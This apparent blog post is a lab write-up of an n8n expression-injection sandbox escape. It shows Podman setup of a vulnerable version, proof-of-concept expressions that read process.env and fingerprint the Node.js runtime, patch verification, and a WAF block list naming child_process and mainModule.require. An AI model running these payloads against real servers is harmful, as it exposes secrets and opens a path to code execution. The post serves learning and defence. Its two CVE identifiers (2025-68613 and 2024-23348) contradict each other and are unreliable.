Hands-on with n8n Expression Injection - CVE 2025-68613

Hands-on with n8n Expression Injection – Sandbox Escape Case Study

In this lab, I analyzed a critical expression injection flaw in n8n that allows authenticated workflow expressions to escape sandbox isolation and access the underlying Node.js runtime, resulting in potential Remote Code Execution (RCE).


Understanding the Execution Model

n8n allows users to embed expressions inside workflow nodes (Set, IF, HTTP Request, etc.) to compute dynamic values at runtime. These expressions are evaluated server-side by a Node.js-based engine.

When sandboxing assumptions fail, the execution flow becomes:

Authenticated user
  → Workflow expression
    → Expression evaluation engine
      → Node.js runtime objects (process, require)
        → Sandbox escape
          → Potential RCE
---

Architecture Overview

High-Level Architecture

User Browser n8n Web UI Expression Engine Node.js Runtime

Understanding Payload Structure

All n8n expression payloads follow this pattern:

{{ JavaScript_Code_Here }}

The {{ }} brackets tell n8n: “Evaluate this as a JavaScript expression.”

If sandbox restrictions are weak, the JavaScript code gains access to Node.js internals such as process, filesystem APIs, or module loading.


If the expression engine improperly exposes runtime objects, the workflow expression gains unintended execution capability.

---

Lab Environment Setup (Podman)

The lab was intentionally isolated and built using rootless Podman to minimize host risk.


# Create lab directory
mkdir n8n-cve-lab
cd n8n-cve-lab
mkdir data

# Initialize Podman VM
podman machine init
podman machine start
---

Deploy Vulnerable n8n Version


# Vulnerable n8n (1.119.0)
podman run -d \
  --name n8n-vuln \
  -p 5678:5678 \
  -v $(pwd)/data:/home/node/.n8n:Z \
  -e N8N_BASIC_AUTH_ACTIVE=true \
  -e N8N_BASIC_AUTH_USER=labuser \
  -e N8N_BASIC_AUTH_PASSWORD=labpass \
  -e N8N_HOST=localhost \
  -e N8N_PORT=5678 \
  -e NODE_ENV=production \
  docker.io/n8nio/n8n:1.119.0

podman ps

Access UI: http://localhost:5678

---

Proof of Concept (Non-Destructive)

The following expressions were used to safely demonstrate sandbox escape without executing OS commands or modifying files.


// Environment exposure
{{ (function() { return this.process.env; })() }}

// Node.js runtime fingerprinting
{{ process.version }}

// Execution context
{{ process.cwd() }}

Successful execution confirms access to Node.js internals, which is sufficient to classify the issue as RCE-class.

---

Patch Verification


# Deploy patched n8n
podman run -d \
  --name n8n-patched \
  -p 5678:5678 \
  -v $(pwd)/data:/home/node/.n8n:Z \
  -e N8N_BASIC_AUTH_ACTIVE=true \
  -e N8N_BASIC_AUTH_USER=labuser \
  -e N8N_BASIC_AUTH_PASSWORD=labpass \
  docker.io/n8nio/n8n:latest

Re-running the same expressions fails, confirming the sandbox fix.

---

Cleanup


podman stop n8n-patched
podman rm n8n-patched
podman machine stop
---

Immediate Remediation Options

Option 1: Upgrade (Recommended)


n8n --version

Expected: 1.122.0 or higher

Defense in Depth: WAF Rules

Block requests containing:


this.process
mainModule.require
child_process
process.binding
Module._load

Note: WAF rules alone are not sufficient protection. They should only complement patching and proper sandboxing.


Summary

ItemValue
Container runtimePodman (rootless)
Vulnerable version1.119.0
Patched version1.122.0 or latest
Attack vectorAuthenticated workflow expression
ImpactSandbox escape → potential RCE
CVE classCritical (Expression Injection)
CVE IDCVE-2024-23348
---

Comments

Popular posts from this blog

SAML Security Test Cases

Simulating SYN Flooding Attack(DOS)